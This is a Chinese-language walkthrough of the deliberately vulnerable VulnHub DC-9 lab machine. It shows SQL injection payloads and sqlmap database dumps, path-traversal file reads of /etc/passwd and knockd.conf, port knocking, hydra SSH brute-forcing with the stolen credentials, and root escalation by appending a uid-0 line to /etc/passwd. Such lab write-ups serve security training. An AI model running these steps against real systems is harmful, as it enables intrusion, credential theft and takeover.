前言
這次練習的靶機是vulnhub平臺下的DC系列靶機第9臺,也是最后一臺,下載地址為https://www.vulnhub.com/entry/dc-9,412/,挑戰該靶機的最終目的是獲取root權限,然后讀取唯一的flag,這臺靶機的難度為中等,其關鍵點是需要知道knockd服務,建議在挑戰該靶機之前了解一下knockd服務,
虛擬機配置
這次采用的網路連接模式依然是NAT模式,為了避免掃描到其他物理主機,在匯入虛擬機后,右擊DC-9靶機,然后選中配置,依次點擊網路配置->NAT模式->高級->生成,然后確認即可,

收集資訊
nmap -sn --min-parallelism 100 --min-hostgroup 100 192.168.119.0/24
-sn 代表存活主機掃描,不進行埠測探,
–min-parallelism 代表調整探測報文的并行度,也就是在掃描同一臺主機時會發送很多個探測資料包,這個引數指定的數即nmap一次至少要發多少個資料包,
–min-hostgroup 代表調整并行掃描組的大小,也就是一次性同時對多少臺主機進行掃描,
更詳細內容可以參考:https://zhuanlan.zhihu.com/p/322244582,關于nmap的一些性能引數的學習,
┌──(root💀kali)-[~]
└─# nmap -sn --min-parallelism 100 --min-hostgroup 100 192.168.119.0/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-04 20:54 EDT
Stats: 0:00:09 elapsed; 0 hosts completed (0 up), 255 undergoing ARP Ping Scan
Parallel DNS resolution of 3 hosts. Timing: About 66.67% done; ETC: 20:54 (0:00:04 remaining)
Nmap scan report for 192.168.119.2
Host is up (0.00013s latency).
MAC Address: 00:50:56:E6:BD:97 (VMware)
Nmap scan report for 192.168.119.172
Host is up (0.00044s latency).
MAC Address: 00:0C:29:BD:2D:31 (VMware)
Nmap scan report for 192.168.119.254
Host is up (0.00018s latency).
MAC Address: 00:50:56:E8:75:E7 (VMware)
Nmap scan report for 192.168.119.130
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 12.64 seconds
發現靶機的IP地址為 192.168.119.172,然后用nmap對靶機進行詳細地掃描,
nmap -A -sV -p- --min-parallelism 100 192.168.119.172
-A 代表綜合性掃描,能收集很多重要的資訊
-sV 代表掃描主要的服務資訊
-p- 引數p是指定埠,后面的
-代表所有埠,
┌──(root💀kali)-[~]
└─# nmap -A -sV -p- --min-parallelism 100 192.168.119.172
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-04 20:55 EDT
Nmap scan report for 192.168.119.172
Host is up (0.00068s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Example.com - Staff Details - Welcome
MAC Address: 00:0C:29:BD:2D:31 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.68 ms 192.168.119.172
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.07 seconds
發現開放了 80埠,其中22埠被過濾,這里就猜測可能是靶機應用了knockd服務把22埠關閉,需要訪問特定的埠序列后才會開放22埠,關于ssh保護的詳細內容可以參考:https://www.cnblogs.com/rongfengliang/p/10904061.html,保護ssh的三把鎖,
SQL注入漏洞
先到web上看看以尋找突破口,用瀏覽器打開該該網站,

點擊導航欄上的Manage后發現了一個登陸頁面,嘗試一下暴力破解,沒有成功,

點擊導航欄上的Search后發現了一個輸入框,首先簡單判斷一下這里是否存在sql注入,嘗試輸入1' or 1=1#,發現搜索出了很多結果,

然后再次輸入1' or 1=2#,發現沒有搜索到任何結果,說明此處存在sql注入,

該SQL注入點為post提交方式,所以我們可以先用burpsuite抓取在search頁面提交的資料,然后右擊滑鼠,然后點擊 Copy to file,保存為一個檔案,

然后用sqlmap讀取該檔案對目標網站進行攻擊,
sqlmap -l target --dump --batch
-l 代表從burpsuite保存的檔案中讀取攻擊目標,也可以用-r引數代替,
target 是剛剛用burpsuite保存的檔案的名稱,
–dump 代表讀取資料庫中所有內容
–batch 表示自動化運行,不會給出選項供用戶選擇,
┌──(root💀kali)-[~/Documents/DC-9]
└─# sqlmap -l target --dump --batch
do you want to crack them via a dictionary-based attack? [y/N/q] N
Database: Staff
Table: Users
[1 entry]
+--------+----------------------------------+----------+
| UserID | Password | Username |
+--------+----------------------------------+----------+
| 1 | 856f5de590ef37314e7c3bdf6f8a66dc | admin |
+--------+----------------------------------+----------+
[21:35:48] [INFO] table 'Staff.Users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.119.172/dump/Staff/Users.csv'
[21:35:48] [INFO] fetching columns for table 'StaffDetails' in database 'Staff'
[21:35:48] [INFO] fetching entries for table 'StaffDetails' in database 'Staff'
Database: Staff
Table: StaffDetails
[17 entries]
+----+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+
| id | email | phone | lastname | reg_date | firstname | position |
+----+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+
| 1 | marym@example.com | 46478415155456 | Moe | 2019-05-01 17:32:00 | Mary | CEO |
| 2 | julied@example.com | 46457131654 | Dooley | 2019-05-01 17:32:00 | Julie | Human Resources |
| 3 | fredf@example.com | 46415323 | Flintstone | 2019-05-01 17:32:00 | Fred | Systems Administrator |
| 4 | barneyr@example.com | 324643564 | Rubble | 2019-05-01 17:32:00 | Barney | Help Desk |
| 5 | tomc@example.com | 802438797 | Cat | 2019-05-01 17:32:00 | Tom | Driver |
| 6 | jerrym@example.com | 24342654756 | Mouse | 2019-05-01 17:32:00 | Jerry | Stores |
| 7 | wilmaf@example.com | 243457487 | Flintstone | 2019-05-01 17:32:00 | Wilma | Accounts |
| 8 | bettyr@example.com | 90239724378 | Rubble | 2019-05-01 17:32:00 | Betty | Junior Accounts |
| 9 | chandlerb@example.com | 189024789 | Bing | 2019-05-01 17:32:00 | Chandler | President - Sales |
| 10 | joeyt@example.com | 232131654 | Tribbiani | 2019-05-01 17:32:00 | Joey | Janitor |
| 11 | rachelg@example.com | 823897243978 | Green | 2019-05-01 17:32:00 | Rachel | Personal Assistant |
| 12 | rossg@example.com | 6549638203 | Geller | 2019-05-01 17:32:00 | Ross | Instructor |
| 13 | monicag@example.com | 8092432798 | Geller | 2019-05-01 17:32:00 | Monica | Marketing |
| 14 | phoebeb@example.com | 43289079824 | Buffay | 2019-05-01 17:32:02 | Phoebe | Assistant Janitor |
| 15 | scoots@example.com | 454786464 | McScoots | 2019-05-01 20:16:33 | Scooter | Resident Cat |
| 16 | janitor@example.com | 65464646479741 | Trump | 2019-12-23 03:11:39 | Donald | Replacement Janitor |
| 17 | janitor2@example.com | 47836546413 | Morrison | 2019-12-24 03:41:04 | Scott | Assistant Replacement Janitor |
+----+-----------------------+----------------+------------+---------------------+-----------+-------------------------------+
[21:35:48] [INFO] table 'Staff.StaffDetails' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.119.172/dump/Staff/StaffDetails.csv'
[21:35:48] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.local/share/sqlmap/output/results-09042021_0935pm.csv'
要注意的是此處只查詢出了資料庫Staff中的內容,該網站還有一個名為users的資料庫,該庫中保存著一些賬號和密碼,可以在后面用來進行ssh的爆破,
現在已經獲取了admin的md5加密的密文856f5de590ef37314e7c3bdf6f8a66dc,嘗試在https://www.somd5.com/破解該密碼,

現在已經獲取了admin的密碼transorbital1,登陸網站后臺進行進一步滲透,
檔案包含漏洞
登陸網站后臺后發現底部有一行文字 File does not exist,估計這個頁面是可以用過引數控制檔案包含內容,

控制檔案包含的引數可以嘗試常用的file,include,require等常見引數,包含內容可以使用/etc/passwd來嘗試,但是沒有包含成功,最后改用burpsuite+字典進行爆破,

檔案內容的字典可以使用 kali自帶的字典/usr/share/wordlists/wfuzz/vulns/dirTraversal-nix.txt,字典跑完后點擊Length進行排序,檔案長度最長的請求應該就是檔案包含成功了,

然后在瀏覽器中訪問該地址,發現包含檔案成功,
http://192.168.119.172/manage.php?file=../../../..//etc/passwd

knockd服務
猜測該靶機使用了knockd服務,首先來簡單介紹一下knockd服務:當你的一個埠不想對外開放時可以通過knockd將它關閉,這樣別人就無法直接訪問這個埠,如果自己想訪問這個埠,那么必須先按順序訪問指定的埠,并且這幾步操作必須在一定時間內完成,當你在一定之間內按順序訪問了指定埠后,被關閉的埠就會對你開放一段時間,更詳細的內容可以參考:https://www.cnblogs.com/rongfengliang/p/10904061.html,保護ssh的三把鎖,
如果開啟了knockd服務,那么會存在一個組態檔/etc/knockd.conf,該組態檔中保存著需要訪問的埠順序,我們可以通過檔案包含漏洞查看該組態檔,
http://192.168.119.172/manage.php?file=../../../..//etc/knockd.conf

根據組態檔的顯示,我們需要依次訪問7469、8475、9842埠才能訪問ssh服務,現在需要在本地安裝 knockd程式,我們可以通過knockd程式對靶機的指定埠按順序訪問,
apt install knockd
knock 192.168.119.172 7469 8475 9842
現在可以訪問靶機的22埠了,所以現在嘗試對靶機的ssh密碼進行爆破,
爆破ssh密碼
在爆破之前需要準備好字典,在資料庫的users庫中存在著一些賬號和密碼,用sqlmap把這些資訊查詢出來,做成字典,
sqlmap -l target -D users --dump --batch
-D 指定需要查詢的庫
┌──(root💀kali)-[~/Documents/DC-9]
└─# sqlmap -l target -D users --dump --batch
Database: users
Table: UserDetails
[17 entries]
+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname | password | reg_date | username | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary |
| 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie |
| 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred |
| 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney |
| 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom |
| 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry |
| 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma |
| 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty |
| 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler |
| 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey |
| 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel |
| 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross |
| 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica |
| 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe |
| 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter |
| 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald |
| 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott |
+----+------------+---------------+---------------------+-----------+-----------+
[22:27:26] [INFO] table 'users.UserDetails' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.119.172/dump/users/UserDetails.csv'
[22:27:26] [INFO] you can find results of scanning in multiple targets mode inside the CSV file '/root/.local/share/sqlmap/output/results-09042021_1027pm.csv'
將所有賬號保存在user.txt中,將所有密碼保存在檔案pass.txt中,然后使用hydra對ssh進行爆破,
hydra -L user.txt -P pass.txt ssh://192.168.119.172
-L 指定賬號檔案字典,如果需要指定單個賬號則使用小寫的-l
-P 指定密碼檔案字典,如果需要指定單個密碼則使用小寫的-p
┌──(root💀kali)-[~/Documents/DC-9]
└─# hydra -L user.txt -P pass.txt ssh://192.168.119.172
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-04 22:43:24
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 361 login tries (l:19/p:19), ~23 tries per task
[DATA] attacking ssh://192.168.119.172:22/
[22][ssh] host: 192.168.119.172 login: chandlerb password: UrAG0D!
[22][ssh] host: 192.168.119.172 login: joeyt password: Passw0rd
[22][ssh] host: 192.168.119.172 login: janitor password: Ilovepeepee
[STATUS] 363.00 tries/min, 363 tries in 00:01h, 1 to do in 00:01h, 14 active
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-04 22:44:26
成功獲取了三個賬號的密碼:login: chandlerb password: UrAG0D!,login: joeyt password: Passw0rd,login: janitor password: Ilovepeepee,
提權
經過測驗前兩個賬號沒有發現什么特殊檔案,也無法提權,登陸janitor賬號后,在檔案~/.secrets-for-putin中發現了一個密碼檔案passwords-found-on-post-it-notes.txt,
ssh janitor@192.168.119.172
cd .secrets-for-putin
cat passwords-found-on-post-it-notes.txt
┌──(root💀kali)-[~/Documents/DC-9]
└─# ssh janitor@192.168.119.172
janitor@192.168.119.172's password:
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sun Sep 5 12:48:56 2021 from 192.168.119.130
janitor@dc-9:~$ ls -la
total 16
drwx------ 4 janitor janitor 4096 Sep 5 12:44 .
drwxr-xr-x 19 root root 4096 Dec 29 2019 ..
lrwxrwxrwx 1 janitor janitor 9 Dec 29 2019 .bash_history -> /dev/null
drwx------ 3 janitor janitor 4096 Sep 5 12:44 .gnupg
drwx------ 2 janitor janitor 4096 Dec 29 2019 .secrets-for-putin
janitor@dc-9:~$ cd .secrets-for-putin
janitor@dc-9:~/.secrets-for-putin$ ls
passwords-found-on-post-it-notes.txt
janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt
BamBam01
Passw0rd
smellycats
P0Lic#10-4
B4-Tru3-001
4uGU5T-NiGHts
查看這個檔案中的密碼,把這些密碼保存在一個檔案 pass2.txt中,并再次使用hydra進行ssh的爆破,
hydra -L user.txt -P pass2.txt ssh://192.168.119.172
└─# hydra -L user.txt -P pass2.txt ssh://192.168.119.172
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-09-04 22:56:26
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 114 login tries (l:19/p:6), ~8 tries per task
[DATA] attacking ssh://192.168.119.172:22/
[22][ssh] host: 192.168.119.172 login: fredf password: B4-Tru3-001
[22][ssh] host: 192.168.119.172 login: joeyt password: Passw0rd
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-09-04 22:56:48
爆破出了一個新的賬號密碼 login: fredf password: B4-Tru3-001,登陸這個賬號嘗試一下提權操作,
ssh fredf@192.168.119.172
sudo -l
┌──(root💀kali)-[~/Documents/DC-9]
└─# ssh fredf@192.168.119.172
fredf@192.168.119.172's password:
Linux dc-9 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u2 (2019-11-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
fredf@dc-9:~$ sudo -l
Matching Defaults entries for fredf on dc-9:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fredf may run the following commands on dc-9:
(root) NOPASSWD: /opt/devstuff/dist/test/test
fredf@dc-9:~$
發現fredf可以使用超級權限執行test,嘗試著執行一下test,
/opt/devstuff/dist/test/test
執行后出現了以下內容:
fredf@dc-9:~$ /opt/devstuff/dist/test/test
Usage: python test.py read append
看這個內容猜測它的功能是追加內容到一個檔案中去,最后在 /opt/devstuff中發現了一個檔案 test.py,這個Python便是test的原始碼,查看這個原始碼分析test的功能與使用方法,
fredf@dc-9:/opt/devstuff/dist$ cd /opt/devstuff/
fredf@dc-9:/opt/devstuff$ ls
build dist __pycache__ test.py test.spec
fredf@dc-9:/opt/devstuff$ cat test.py
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
fredf@dc-9:/opt/devstuff$
查看原始碼發現這個程式的功能是將引數1檔案內容追加到引數2檔案中,所以我們可以將一個賬號資訊追加到 /etc/passwd中,
/etc/passwd 保存著所有賬號的資訊,可以通過在該檔案中添加一個具有root權限的賬號資訊來獲取root權限,
首先我們來了解一下/etc/passwd內容的格式,以root為例:
root:x:0:0:root:/root:/bin/bash欄位1: 用戶名,
欄位2:密碼占位符,x代表有密碼,也可以直接填入密碼的密文,
欄位3:用戶的uid,如果一個用戶uid為0則表示該用戶超級管理員,
欄位4:用戶的gid,也就是所屬用戶組的id,
欄位5:用戶資訊(棄用),
欄位6:用戶家目錄,
欄位7:用戶登陸系統后使用的shell,
然后通過openssl生成密碼密文,
openssl passwd -1 -salt rpsate rpsate
passwd 代表生成密碼的密文,
-1 代表使用MD5的加密方法,
-salt 代表密碼加鹽,
第一個rpsate是賬號,第二個rpsate是密碼,
更詳細的內容可以參考https://blog.csdn.net/jiajiren11/article/details/80376371,/etc/shadow中密碼段的生成方式
┌──(root💀kali)-[~/Documents/DC-9]
└─# openssl passwd -1 -salt rpsate rpsate
$1$rpsate$2r3jb6WfuHP8DFRd31cUF1
所以我們將 rpsate:$1$rpsate$2r3jb6WfuHP8DFRd31cUF1:0:0::/root:/bin/bash追加到 /etc/passwd即可,現將這一字串寫入一個檔案中,然后再通過test程式來追加到/etc/passwd,
經過測驗欄位6用戶家目錄必須加上,否則無法識別到賬號,
欄位2密碼一欄不能為空,否則不能認證成功,上面欄位2是密碼rpsate加密后的密文,
echo 'rpsate:$1$rpsate$2r3jb6WfuHP8DFRd31cUF1:0:0::/root:/bin/bash' > /tmp/a
sudo /opt/devstuff/dist/test/test /tmp/a /etc/passwd
fredf@dc-9:/opt/devstuff$ echo 'rpsate:$1$rpsate$2r3jb6WfuHP8DFRd31cUF1:0:0::/root:/bin/bash' > /tmp/a
fredf@dc-9:/opt/devstuff$ sudo /opt/devstuff/dist/test/test /tmp/a /etc/passwd
fredf@dc-9:/opt/devstuff$ tail /etc/passwd
chandlerb:x:1009:1009:Chandler Bing:/home/chandlerb:/bin/bash
joeyt:x:1010:1010:Joey Tribbiani:/home/joeyt:/bin/bash
rachelg:x:1011:1011:Rachel Green:/home/rachelg:/bin/bash
rossg:x:1012:1012:Ross Geller:/home/rossg:/bin/bash
monicag:x:1013:1013:Monica Geller:/home/monicag:/bin/bash
phoebeb:x:1014:1014:Phoebe Buffay:/home/phoebeb:/bin/bash
scoots:x:1015:1015:Scooter McScoots:/home/scoots:/bin/bash
janitor:x:1016:1016:Donald Trump:/home/janitor:/bin/bash
janitor2:x:1017:1017:Scott Morrison:/home/janitor2:/bin/bash
rpsate:$1$rpsate$2r3jb6WfuHP8DFRd31cUF1:0:0::/root:/bin/bash
發現現在已經將rpsate賬號資訊寫入了/etc/passwd,現在可以跳轉到具有root權限的賬號rpsate了,
su rpsate
cat /root/theflag.txt
fredf@dc-9:/opt/devstuff$ su rpsate
Password:
root@dc-9:/opt/devstuff# id
uid=0(root) gid=0(root) groups=0(root)
root@dc-9:/opt/devstuff# cd /root
root@dc-9:~# ls
theflag.txt
root@dc-9:~# cat theflag.txt
███╗ ██╗██╗ ██████╗███████╗ ██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗██╗██╗██╗
████╗ ██║██║██╔════╝██╔════╝ ██║ ██║██╔═══██╗██╔══██╗██║ ██╔╝██║██║██║
██╔██╗ ██║██║██║ █████╗ ██║ █╗ ██║██║ ██║██████╔╝█████╔╝ ██║██║██║
██║╚██╗██║██║██║ ██╔══╝ ██║███╗██║██║ ██║██╔══██╗██╔═██╗ ╚═╝╚═╝╚═╝
██║ ╚████║██║╚██████╗███████╗ ╚███╔███╔╝╚██████╔╝██║ ██║██║ ██╗██╗██╗██╗
╚═╝ ╚═══╝╚═╝ ╚═════╝╚══════╝ ╚══╝╚══╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝╚═╝╚═╝
Congratulations - you have done well to get to this point.
Hope you enjoyed DC-9. Just wanted to send out a big thanks to all those
who have taken the time to complete the various DC challenges.
I also want to send out a big thank you to the various members of @m0tl3ycr3w .
They are an inspirational bunch of fellows.
Sure, they might smell a bit, but...just kidding. :-)
Sadly, all things must come to an end, and this will be the last ever
challenge in the DC series.
So long, and thanks for all the fish.
提權成功!
參考文獻
[1] https://zhuanlan.zhihu.com/p/322244582,關于nmap的一些性能引數的學習,
[2] https://zhuanlan.zhihu.com/p/112172905,vulnHub-DC9
[3] https://www.cnblogs.com/rongfengliang/p/10904061.html,保護 SSH 的三把鎖
[4] https://blog.csdn.net/jiajiren11/article/details/80376371,/etc/shadow中密碼段的生成方式
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/297762.html
標籤:其他
上一篇:反序列化漏洞與URLDNS利用鏈
